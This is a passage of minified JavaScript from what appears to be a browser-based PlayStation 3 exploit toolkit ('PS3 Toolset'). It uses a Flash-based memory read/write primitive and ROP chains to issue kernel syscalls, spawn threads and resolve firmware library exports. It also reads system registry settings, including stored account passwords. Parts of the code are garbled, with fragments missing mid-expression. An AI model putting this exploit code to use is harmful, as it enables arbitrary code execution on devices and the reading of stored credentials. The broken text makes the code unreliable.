l=helper.heap.store(72);if(!e||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset,l))||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset+r-4096,l+36)))return Logger.error("sysmem: Error: 0x"+o.toString(16)+" - Failure to allocate 0x"+r.toString(16)+" buffer from browser container."),helper.heap.free([s,l]),t=null,void toast("A fatal memory allocation error occurred, check the logs. You may need to reboot the console for the PS3 Toolset to function correctly.","error",8);Logger.debug("Reusing previously allocated container memory from session cookie"),t={offset:e.offset,size:r},helper.heap.free([l])}else{var n=helper.memory.upeek32(s);helper.heap.free([s]),Logger.debug("sysmem: Buffer allocated offset 0x"+n.toString(16)+" size 0x"+r.toString(16)+" - Available Free Memory 0x"+r.toString(16)),t={offset:n,size:r}}helper.cookies.set("sm_container",t)}if(helper.heap.free([e]),helper.cookies.get("sm_container")){Logger.debug("Found memory container cookie");var n=helper.cookies.getJSON("sm_container");o0?e=jQuery.grep(e,function(e){return e===t&&Logger.debug("sysmem.free: Freed System memory object "+t.offset.toString(16)),e!==t}):Logger.info("sysmem.free: No System memory to free")},this.close=function(){!function(){if(helper.cookies.get("sm_container")&&t&&t.offset>0){var r=helper.heap.store(36);0===helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,t.offset,r))&&(helper.rop.run(syscall32(helper.sys_memory_free,t.offset)),Logger.debug("sysmem.close: Buffer freed offset 0x"+t.offset.toString(16)),helper.sm=null,e=[],t=null,s=null),helper.heap.free([r]),helper.cookies.remove("sm_container"),Logger.info("Removed container memory session")}}()}},IOQ=function(){this.elements=[],this.length=function(){return this.elements.length},this.get=function(e){return e>=0&&e=0&&e0?this.elements[0]:null},t.last=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new FIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},LIFOQ=function(e){var t=new IOQ;return t.remove=function(){this.elements.pop()},t.removeLast=function(){this.elements.shift()},t.first=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.last=function(){return this.elements.length>0?this.elements[0]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new LIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},workerThread=function(e){if(helper.wt_pool.length>2)return Logger.error("Maximum number of worker threads: 3"),null;if(jQuery.grep(helper.wt_pool,function(e){return e===t}).length>0)return Logger.error("Thread Name already in use"),null;var t=e,r=helper.wt_pool,s=helper.vtemp_addr;if(helper.wt_pool.push(t),!helper.sm&&(helper.sm=new sysmem,!helper.sm))return Logger.error("Worker Thread helper.sm creation failed"),helper.wt_pool=r,null;var o=helper.sm.alloc(t);if(!o)return Logger.error("Worker Thread Local Storage allocation failed"),helper.wt_pool=r,null;helper.vtemp_addr=o.offset+o.size-16384,this.getTLS=function(){return o||alert("TLS error"),o};var l=o.offset+131072,n=new semaphoreObject(helper.sem_attr_fifo);if(n.create()>0)return Logger.error("Worker creation error: could not acquire a semaphore"),helper.vtemp_addr=s,helper.wt_pool=r,null;var i=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+vsyscall32(helper.sys_sem_wait,n.id(),0),a=vset_r3to11(l,0,0,0,0,0,0,0,0)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget10_addr);helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+4096).toString32()+"0000000000000000"+t.toAscii8()),sf=i+a,sf.length>425984&&Logger.warn("Worker Thread "+t+" SF bytelength: 0x"+(2*sf.length).toString(16)),helper.memory.upokes(l+4096,sf),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,201,4096,0,l+32));var p=helper.memory.upeek32(l+28);helper.rop.run(syscall32(helper.sys_ppu_thread_start,p)),Logger.info("Started Worker Thread with ID: 0x"+p.toString(16));var c={id:p,stack_offset:l+4096,stack_size:sf.length/2,sem_id:n.id(),tls:o};Logger.debug("thread id : 0x"+c.id.toString(16)),Logger.debug("semaphore id : 0x"+c.sem_id.toString(16)),Logger.debug("tls offset : 0x"+c.tls.offset.toString(16)),Logger.debug("stack offset : 0x"+c.stack_offset.toString(16)),helper.cookies.set(t,c);var d=new FIFOQ;this.getQlength=function(){return d.length()};var u=new mutexObject(helper.mtx_attr_fifo);u.create(),this.getMutex=function(){return u};var h=0,g=!1,f=!1,_=function(){if(0!==d.length()){var e=n.numWaitThreads();if(e<=0||!0===g)return e<0?Logger.debug("semaphore numWaitThreads returned -1"):Logger.debug("semaphore numWaitThreads returned "+e.toString(16)),void Logger.debug(!0===g?"worker busy":"worker free");g=!0,y(),f=!0;var t,r=d.first();if(r)if(d.remove(),f=!1,helper.memory.upokes(c.stack_offset,(t=vsyscall32(helper.sys_mutex_lock,u.id(),0)+r.sf+vsyscall32(helper.sys_mutex_unlock,u.id()),i+t+a)),r.pre_callback&&r.pre_callback(),n.fast_post(),r.post_callback){setTimeout(function(){!function e(t){var r=n.numWaitThreads();if(r<=0)return Logger.debug("Worker busy, postcallback postponed! semval = "+r.toString(16)),void setTimeout(function(){e(t)},100);Logger.debug("running post_callback"),0===t.index||4294967295===t.index?setTimeout(function(){t.post_callback()},1e3):(t.post_callback(),b(),g=!1)}(r)},100)}else b(),g=!1;else f=!1,b(),g=!1}else y()},m=0,x=0;function b(){0===m&&d.length()>0?(clearInterval(x),x=0,m=setInterval(_,200)):0===x&&(x=setInterval(b,1e3))}function y(){m>0&&(clearInterval(m),m=0)}this.run=function(e,t,r,s){var o=function(e,t,r,s,l){!0!==f?c?(d.add({index:e,sf:t,name:r,pre_callback:s,post_callback:l}),b()):Logger.warn("Worker Thread Closed - Cannot run stack frames"):setTimeout(function(){o(e,t,r,s,l)},0)};o(++h,e,t,r,s)};var v=function(){if(y(),u.close(),n.close(),delete n,n=null,helper.cookies.remove(t),c=null,helper.sm.free(o),o=null,"BGTOOLSET_WKR_FMM"===t?helper.worker.fmm=null:"BGTOOLSET_WKR_UDP"===t?helper.worker.udp=null:"BGTOOLSET_WKR_FE"===t&&(helper.worker.fe=null),helper.wt_pool=jQuery.grep(helper.wt_pool,function(e){return e!==t}),0===helper.wt_pool.length);else if(helper.worker.fmm){var e=helper.worker.fmm.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.udp){e=helper.worker.udp.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.fe){e=helper.worker.fe.getTLS();helper.vtemp_addr=e.offset+e.size-16384}};function C(){Logger.debug("Closing "+t+" Thread ID: "+c.id.toString(16))}this.cancel=function(e){var t=function(){!0!==f?(d.reset(),c&&e?(d.add({index:0,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Cancel",pre_callback:C,post_callback:v}),b()):y()):setTimeout(t,0)};t()},this.close=function(){var e=function(){!0!==f?c?(d.add({index:4294967295,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Close",pre_callback:C,post_callback:v}),b()):Logger.info("Worker Thread Already Closed"):setTimeout(e,0)};e()},window.onunload=function(e){helper.xregistry&&helper.xregistry.xclose(),helper.bc&&helper.bc.close(),helper.wt_pool.length>0&&clearThreadSession(),helper.existPatchData&&!helper.existPatchData()&&helper.deletePatchData()}},holder=[],clearThreadSession=function(e){for(var t=0;t16)return;n++,i()}else helper.rop.run(syscall32(helper.sys_sem_close,r.sem_id))}i()}else Logger.warn(o>0?"Thread ID Session GC failure - Error: 0x"+o.toString(16):"Thread ID Session GC failure - Priority: 0x"+helper.memory.upeek32(s).toString(16));helper.heap.free([s]),helper.cookies.remove(helper.wt_pool[t])}else Logger.info("No GC required for Thread "+helper.wt_pool[t]);setTimeout(function(){for(var e=0;e15728640)&&(0===e.length?helper.error("heap.store: argument error - Stored data must not be 0 byte long"):helper.error("heap.store: argument error - Total heap data storage is limited to 15Mb, use helper.buffer.create(size) if you need larger buffers up to 64Mb")),helper.swf.storeData(e)},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t)})},this.storeUTF=function(e){return null!=e&&"string"==typeof e||(e="number"==typeof e?e.toString(16):""),(0===e.length||e.length>65535)&&(0===e.length?helper.error("heap.storeUTF: argument error - String must not be empty"):helper.error("heap.storeUTF: argument error - String size is limited to 64kb")),helper.swf.storeData(e,0,!0)},this.freeUTF=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t,!0)})},this.reset=function(){helper.swf.clearHeap()},this.queue=function(t){t&&(e=$.merge(e,!0===Array.isArray(t)?t:[t]))},this.flush=function(){this.free(e)}},stack=function(){this.reset=function(){helper.swf.clearStack()},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeSF(t)})},this.store=function(e,t){return null!=e&&e.length<=4194304&&e.length>=224?helper.swf.storeSF(e,t):(e.length,helper.error("store: Total stack data storage is 2Mb. Current Stack Frame collection size: "+Math.floor(e.length/1048576).toString()+" Mb"),0)}},lockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().lock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().lock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().lock()},unlockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().unlock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().unlock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().unlock()},soundPlayer=function(){loadSoundAssets();var e=document.getElementById("PS3TSound");this.playOK=function(){if(e){lockMutexes();try{e.play_ok()}catch(e){Logger.debug("Sound play_ok: "+e)}unlockMutexes()}},this.playNG=function(){if(e){lockMutexes();try{e.play_ng()}catch(e){Logger.debug("Sound play_ng: "+e)}unlockMutexes()}}},memory=function(){function e(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;if(e>=65536&&e<8388608)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t));if(helper.heap.free([t]),0===r)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}function t(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t)),s=262144===helper.memory.upeek32(t+4);if(helper.heap.free([t]),0===r&&s)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}this.secure_test=function(t,r){return function(t,r){var s=!1;if("number"==typeof t&&r>0)if(s=!0,t>=2147483648&&t+r<2415919104);else if(t>=65536&&t+r<8388608);else{var o=r<16?r:r<256?16:r<4096?256:r<65536?4096:r<1048576?65536:r<16777216?1048576:16777216,l=r%o,n=r===o?1:Math.floor(r/o)+1,i=0;for(i=0;i0&&!0===s&&(e(t+i*o+l-l%4-4)||(Logger.error("Secure Memory Access: Unallocated Offset 0x"+(t+i*o+l-l%4-4).toString(16)),s=!1))}return s}(t,r)},this.secure_upeek8=function(t){if(!e(t))throw Error("secure_upeek8: offset "+t.toString(16)+" not allocated");return helper.swf.leakbyte(t)},this.secure_upoke8=function(e,r){if(!t(e))throw Error("secure_upoke8: offset "+e.toString(16)+" not allocated");helper.swf.writebyte(e,255&r)},this.secure_upeek16=function(t){if(!e(t))throw Error("secure_upeek16: offset "+t.toString(16)+" not allocated");return helper.swf.leakval16(t)},this.secure_upoke16=function(e,r){if(!t(e))throw Error("secure_upoke16: offset "+e.toString(16)+" not allocated");helper.swf.writeval16(e,65535&r)},this.secure_upeek32=function(t){if(!e(t))throw Error("secure_upeek32: offset "+t.toString(16)+" not allocated");return helper.swf.leakval32(t)},this.secure_upoke32=function(e,r){if(!t(e))throw Error("secure_upoke32: offset "+e.toString(16)+" not allocated");helper.swf.writeval32(e,4294967295&r)},this.secure_upeeks=function(t,r,s,o){for(var l=0;l<4*Math.floor(r/4);l+=4)if(!e(t+l))throw Error("secure_upeeks: offset "+(t+l).toString(16)+" not allocated");return helper.swf.leakbytes(t,r,s,o)},this.secure_upokes=function(e,r,s){for(var o=s?r.length:r.length/2,l=0;l<4*Math.floor(o/4);l+=4)if(!t(e+l))throw Error("secure_upokes: offset "+(e+l).toString(16)+" not allocated");helper.swf.writebytes(e,r,s)},this.upeek8=function(e){return helper.swf.leakbyte(e)},this.upoke8=function(e,t){helper.swf.writebyte(e,255&t)},this.upeek16=function(e){return helper.swf.leakval16(e)},this.upoke16=function(e,t){helper.swf.writeval16(e,65535&t)},this.upeek32=function(e){return helper.swf.leakval32(e)},this.upoke32=function(e,t){helper.swf.writeval32(e,4294967295&t)},this.upeeks=function(e,t,r,s){return helper.swf.leakbytes(e,t,r,s)},this.upokes=function(e,t,r){helper.swf.writebytes(e,t,r)}},ROP=function(){this.run=function(e){helper.swf.triggerROP(e)},this.rrun=function(e,t){var r=helper.heap.store();helper.swf.triggerROP(e+store_r3_word(r));var s=helper.memory.upeek32(r);return helper.heap.free([s]),s}};function createXRegistryTree(){var e=[{id:"xtree_setting",parent:"#",text:"/setting"}];jQuery.each(xRegSettings.directory,function(t,r){jQuery.each(xRegSettings.directory,function(t,s){if(r+s.substr(s.lastIndexOf("/"))===s){var o={"data-xrf":[]};jQuery.each(xRegSettings.active,function(e,t){s+t.substr(t.lastIndexOf("/"))===t&&o["data-xrf"].push(t)}),e.push({id:"xtree"+s.replace(/([/])/g,"_"),icon:"jstree-folder",parent:"xtree"+r.replace(/([/])/g,"_"),text:s,a_attr:o})}})});var t=jQuery("#xr_ktree");t.jstree({core:{data:e,multiple:!1},plugins:["unique","search","sort","changed"],themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1}}),t.on("select_node.jstree",function(e,t){return setTimeout(function(){alert(t.node.a_attr)},0),!0})}var xRegistryGlobalSettings=["/setting/categoryVersion","/setting/system/powerOnDiscBoot","/setting/np/env","/setting/bddvd/dvdMenuLanguage","/setting/bt/controller1/sdpinfo","/setting/system/hddSerial","/setting/wboard/baseUri","/setting/net/adhocSsidPrefix","/setting/user/lastCreatedUserId","/setting/user/defaultLoginUserId","/setting/music/codec","/setting/music/bitRateAac","/setting/music/bitRateMp3","/setting/music/bitRateAtrac"],xRegistryUserSettings=["/setting/user//browser/homeUri","/setting/user//ytaccount/accountid","/setting/user//ytaccount/password","/setting/user//account/utf8name","/setting/user//browser/cacheSize"];function testXRegTable(){var e="
    ",t=0,r=0,s=0,o=0,l=0,n=helper.heap.store(16),i="",a="",p="",c=helper.heap.store(),d=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));for(helper.profileId||(helper.profileId="00000001"),s=0;s0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i="type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+xRegistryGlobalSettings[s]+" data: "+i+"
    ",Logger.info("createXRegTable added object id "+xRegistryGlobalSettings[s].replace(/([/])/g,"_")),helper.heap.free([t]);for(s=0;s",helper.profileId),t=helper.heap.store(a,!0),r=helper.rop.rrun(call_subByOpd(x3.getOPDbyNID(1292259751),helper.memory.upeek32(d+68),t,n,n+4,n+8,n+12)),Logger.info("x3_4D0651A7_opd_addr peek "+helper.memory.upeek32(n).toString32()+helper.memory.upeek32(n+4).toString32()+helper.memory.upeek32(n+8).toString32()+helper.memory.upeek32(n+12).toString32()),0===r?(l=0,(o=helper.memory.upeek32(n+8))>0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i=" type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+a+" value: "+i+"
    ",Logger.info("createXRegTable added object id "+a.replace(/([/])/g,"_")),helper.heap.free([t]);return helper.heap.free([c,n]),e+="
    "}var xRegSettings=null;function createXRegistryTable(){var e=-1,t=-1,r=0;helper.xregistry||(helper.xregistry=new xRegistry);var s=helper.xregistry.xgetList("/*");if(xRegSettings={active:[],inactive:[],hidden:[],directory:[],xlist:s},s&&0===s.error){Logger.info("xRegistry Settings List: 0x"+s.list.toString(16)+" length: 0x"+s.length.toString(16)+" unk3: [0x"+s.unk3[0].toString16()+",0x"+s.unk3[1].toString16()+",0x"+s.unk3[2].toString16()+"]"),setTimeout(function(){!function o(l){var n=0,i=0,a="";for(r=l;r>=536870912;r=helper.memory.upeek32(r+16)){if(++e>0&&e%128==0)return t++,void setTimeout(function(){o(r)},50);if(r>805306352)break;var p=helper.memory.upeeks(r,16);if(i=parseInt(p.substr(24,8),16),!((n=parseInt(p.substr(0,8),16))>=536870912&&n<805306240))break;(a=helper.memory.upeeks(n,128,!0)).length<10||i>0?1===i?xRegSettings.inactive.push({setting:a,pointer:n}):2===i?xRegSettings.directory.push({setting:a,pointer:n}):3===i&&xRegSettings.hidden.push({setting:a,pointer:n}):xRegSettings.active.push({setting:a,pointer:n})}(e>=s.length||0===a.length)&&(Logger.info("processXRegistryTable : Count 0x"+(e-t).toString(16)),setTimeout(processXRegistryTable,50))}(s.list)},50)}else Logger.error("Error extracting xRegistry list 0x"+s.error.toString(16)),toast("xRegistry Data Extraction Error 0x"+s.error.toString(16),"error",5),setTimeout(processXRegistryTable,0)}function getNIDfuncOPD(e,t){t=parseInt(t),Logger.info("getNIDfuncOPD: Search for fnid 0x"+t.toString(16)+" in "+e);for(var r=0,s="",o="",l=0,n=helper.memory.upeek32(helper.memory.upeek32(65676)+2436),i="";469762049===helper.memory.upeek32(n-28);)n-=28;for(;469762049===helper.memory.upeek32(n);){if(i=helper.memory.upeeks(n,28),helper.memory.upeeks(parseInt("0x"+i.substr(-24,8),16),32,!0)===e){for(Logger.info("getNIDfuncOPD: found linked list for library "+e),l=parseInt("0x"+i.substr(12,4),16),Logger.info("getNIDfuncOPD: scanning through "+l.toString()+" exports"),s=helper.memory.upeeks(parseInt("0x"+i.substr(-16,8),16),4*l),o=helper.memory.upeeks(parseInt("0x"+i.substr(-8),16),4*l),r=0;r<8*l;r+=8)if(t===parseInt("0x"+s.substr(r,8),16))return Logger.info("getNIDfuncOPD: found OPD 0x"+parseInt("0x"+o.substr(r,8),16).toString(16)),parseInt("0x"+o.substr(r,8),16);Logger.error("getNIDfuncOPD: fnid 0x"+t.toString(16)+" could not be found in vsh library "+e);break}n+=28}return 0}function fillNIDfunc_OPDs(e){var t=0,r=0,s=0,o=0,l=0,n=0,i="",a="",p="",c="",d=!1;for(l=helper.memory.upeek32(helper.memory.upeek32(65676)+2436);469762049===helper.memory.upeek32(l-28);)l-=28;for(;469762049===helper.memory.upeek32(l);){if(r=0,c=helper.memory.upeeks(l,28),(i=helper.memory.upeeks(parseInt("0x"+c.substr(-24,8),16),64,!0)).length>0){n=parseInt("0x"+c.substr(12,4),16),a=helper.memory.upeeks(parseInt("0x"+c.substr(-16,8),16),4*n),p=helper.memory.upeeks(parseInt("0x"+c.substr(-8),16),4*n);var u=window[i]?window[i]:window[i]={libname:i,opds:{nids:{},names:{}},names:{},getOPDbyNID:function(e){return(e="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"").length>0&&this.opds.nids[e]?this.opds.nids[e]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}};for(o=0;o<8*n;o+=8){d=!1;var h=parseInt("0x"+a.substr(o,8),16),g=parseInt("0x"+p.substr(o,8),16),f=u.names["0x"+h.toString(16).toUpperCase()];f&&f.length>0&&(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names[f]=g,u[f]=g?new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+f+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+f+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++,d=!0),d||(u.opds.nids["0x"+h.toString(16)]=g,u.opds.names["export_"+h.toString(16)]=g,exps="export_"+h.toString(16),u[exps]=g?new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ Logger.info('"+exps+" function OPD: 0x"+g.toString(16)+"');return call(0x"+g.toString(16)+",a1,a2,a3,a4,a5,a6,a7,a8);}")():new Function("return function "+exps+"(a1,a2,a3,a4,a5,a6,a7,a8){ throw Error('export_"+h.toString(16)+" "+u.libname+" library export from VSH could not be resolved');return -1;}")(),r++,s++)}t++,Logger.info("Detected VSH Export library '"+i+"' - hooked up "+r.toString()+" exports")}l+=28}return Logger.info("VSH Exports Detection: Number of hooked up libraries "+t.toString()+" Total Number of hooked exports "+s.toString()),t}var allocator={libname:"allocator",opds:{nids:{},names:{}},names:{"0x45E124A":"operator_delete_array","0xD84B3689":"operator_delete","0xAD382A99":"operator_delete_nothrow","0xF58E83A5":"operator_new_array","0x2356EF16":"operator_new_array_nothrow","0x96BC2578":"operator_new_array_2","0x83B2CC6F":"operator_new","0xBB712718":"operator_new_nothrow","0xED3DA02B":"operator_new_2","0xA72A7595":"calloc","0x77A602DD":"free","0x759E0635":"malloc","0x79EADF05":"malloc_usable_size","0x6137D196":"memalign","0xF7A14A22":"realloc","0xA830FDD8":"sce_paf_private_calloc","0x97C02090":"sce_paf_private_dump_heap_info","0x6997B837":"sce_paf_private_free","0x58B43627":"sce_paf_private_heapmemory","0xE27B3C01":"sce_paf_private_malloc","0x799473AE":"sce_paf_private_memalign","0x679E8CAF":"sce_paf_private_realloc","0xD2B978F5":"sce_paf_private_report_memblk"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellHttp={libname:"cellHttp",opds:{nids:{},names:{}},names:{"0x1B5BDCC6":"cellHttpAddCookieWithClientId","0x33347DDD":"cellHttpAuthCacheExport","0xDCDF003A":"cellHttpAuthCacheFlush","0xF92217C5":"cellHttpAuthCacheGetEntryMax","0xDA56BFAA":"cellHttpAuthCacheImport","0xD33AD4D0":"cellHttpAuthCacheSetEntryMax","0x4B33942A":"cellHttpClientAddHeader","0x2033B878":"cellHttpClientCloseAllConnections","0x27F86D70":"cellHttpClientCloseConnections","0x617EEC02":"cellHttpClientDeleteHeader","0xD9C65BE":"cellHttpClientGetAllHeaders","0xFCE39343":"cellHttpClientGetAuthenticationCacheStatus","0x5980A293":"cellHttpClientGetAutoAuthentication","0x2960E309":"cellHttpClientGetAutoRedirect","0x14BFC765":"cellHttpClientGetConnTimeout","0x431E1407":"cellHttpClientGetConnectionWaitStatus","0x1249C1D1":"cellHttpClientGetConnectionWaitTimeout","0xEB9C1E5E":"cellHttpClientGetCookieStatus","0xD1EC0B25":"cellHttpClientGetHeader","0x591C21A8":"cellHttpClientGetKeepAlive","0x98CE061C":"cellHttpClientGetMinSslVersion","0x46BCC9FF":"cellHttpClientGetPerHostKeepAliveMax","0xFFC74003":"cellHttpClientGetPerHostPoolSize","0xD06C90A4":"cellHttpClientGetPerPipelineMax","0x2A1F28F6":"cellHttpClientGetPipeline","0x4D40CF98":"cellHttpClientGetProxy","0x130150EA":"cellHttpClientGetRecvBufferSize","0xBA78E51F":"cellHttpClientGetRecvTimeout","0x6884CDB7":"cellHttpClientGetResponseBufferMax","0xD3FCD411":"cellHttpClientGetSendBufferSize","0x271A0B06":"cellHttpClientGetSendTimeout","0xCCF57336":"cellHttpClientGetSslVersion","0x70F1020":"cellHttpClientGetTotalPoolSize","0xEE05B0C1":"cellHttpClientGetUserAgent","0xDC405507":"cellHttpClientGetVersion","0xADC0A4B2":"cellHttpClientPollConnections","0x6EED4999":"cellHttpClientSetAuthenticationCacheStatus","0x660D42A9":"cellHttpClientSetAuthenticationCallback","0x8EAF47A3":"cellHttpClientSetAutoAuthentication","0x211D8BA3":"cellHttpClientSetAutoRedirect","0x88F79869":"cellHttpClientSetCacheStatus","0xD7471088":"cellHttpClientSetConnTimeout","0x85FB7363":"cellHttpClientSetConnectionStateCallback","0x88B71A4C":"cellHttpClientSetConnectionWaitStatus","0xB7CB7D05":"cellHttpClientSetConnectionWaitTimeout","0x13FE767B":"cellHttpClientSetCookieRecvCallback","0x4D915204":"cellHttpClientSetCookieSendCallback","0x434419C8":"cellHttpClientSetCookieStatus","0xA34C4B6F":"cellHttpClientSetHeader","0x5D473170":"cellHttpClientSetKeepAlive","0xE6C7D333":"cellHttpClientSetMinSslVersion","0x595ADEE9":"cellHttpClientSetPerHostKeepAliveMax","0xAB1C55AB":"cellHttpClientSetPerHostPoolSize","0xDC7ED599":"cellHttpClientSetPerPipelineMax","0x296A46CF":"cellHttpClientSetPipeline","0xD7D3CD5D":"cellHttpClientSetProxy","0xBF6E3659":"cellHttpClientSetRecvBufferSize","0x224E1610":"cellHttpClientSetRecvTimeout","0x473CD9F1":"cellHttpClientSetRedirectCallback","0xADD66B5C":"cellHttpClientSetResponseBufferMax","0xBB6C0EB2":"cellHttpClientSetSendBufferSize","0x71714CDC":"cellHttpClientSetSendTimeout","0x1395D8D1":"cellHttpClientSetSslCallback","0xD8352A40":"cellHttpClientSetSslClientCertificate","0x7313C78D":"cellHttpClientSetSslIdDestroyCallback","0x65691795":"cellHttpClientSetSslVersion","0x8AA5FCD3":"cellHttpClientSetTotalPoolSize","0xB6FEB84B":"cellHttpClientSetTransactionStateCallback","0xCAC9FC34":"cellHttpClientSetUserAgent","0x40547D8B":"cellHttpClientSetVersion","0xC79173FF":"cellHttpCookieExport","0xF972C733":"cellHttpCookieExportWithClientId","0x8FC281F7":"cellHttpCookieFlush","0x6C1FFE4E":"cellHttpCookieImport","0xD846D63":"cellHttpCookieImportWithClientId","0x4E4EE53A":"cellHttpCreateClient","0x52A80D9":"cellHttpCreateTransaction","0x980855AC":"cellHttpDestroyClient","0x32F5CAE2":"cellHttpDestroyTransaction","0xD276FF1F":"cellHttpEnd","0xA39FE9DC":"cellHttpEndCache","0x61B2BADE":"cellHttpEndCookie","0xD632A727":"cellHttpEndExternalCache","0x1AC58D11":"cellHttpFlushCache","0x8DC2D51D":"cellHttpFlushExternalCache","0xC6771F43":"cellHttpGetCacheInfo","0x8BEDEFA8":"cellHttpGetCookie","0xE95BFC2C":"cellHttpGetMemoryInfo","0x2A87603A":"cellHttpGetProxy","0x250C386C":"cellHttpInit","0xB4FA3111":"cellHttpInitCache","0x9638F766":"cellHttpInitCookie","0x9E4B77":"cellHttpInitExternalCache","0x61C90691":"cellHttpRecvResponse","0xED993147":"cellHttpRequestAddHeader","0x16214411":"cellHttpRequestDeleteHeader","0x42205FE0":"cellHttpRequestGetAllHeaders","0x4137A1F6":"cellHttpRequestGetChunkedTransferStatus","0x958323CF":"cellHttpRequestGetContentLength","0xB9FEA5F":"cellHttpRequestGetHeader","0x8E3F7EE1":"cellHttpRequestSetChunkedTransferStatus","0xAF73A64E":"cellHttpRequestSetContentLength","0x54F2A4DE":"cellHttpRequestSetHeader","0xBEA17389":"cellHttpResponseGetAllHeaders","0x464FF889":"cellHttpResponseGetContentLength","0x4F5D8D20":"cellHttpResponseGetHeader","0x10D0D7FC":"cellHttpResponseGetStatusCode","0x6A81B5E4":"cellHttpResponseGetStatusLine","0xA755B005":"cellHttpSendRequest","0xAD6A2E5B":"cellHttpSessionCookieFlush","0xD896B97":"cellHttpSetProxy","0x2D52848B":"cellHttpTransactionAbortConnection","0xA0D9223C":"cellHttpTransactionCloseConnection","0x38954133":"cellHttpTransactionGetSslCipherBits","0x34061E49":"cellHttpTransactionGetSslCipherId","0x895C604C":"cellHttpTransactionGetSslCipherName","0xE3C424B3":"cellHttpTransactionGetSslCipherString","0x93E938E5":"cellHttpTransactionGetSslCipherVersion","0x2A78FF04":"cellHttpTransactionGetSslId","0xAD1C6F02":"cellHttpTransactionGetSslVersion","0xEF17399":"cellHttpTransactionGetUri","0xD47CC666":"cellHttpTransactionReleaseConnection","0x5C8AE162":"cellHttpTransactionSetUri","0xE6D4202F":"cellHttpsEnd","0x522180BC":"cellHttpsInit"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof 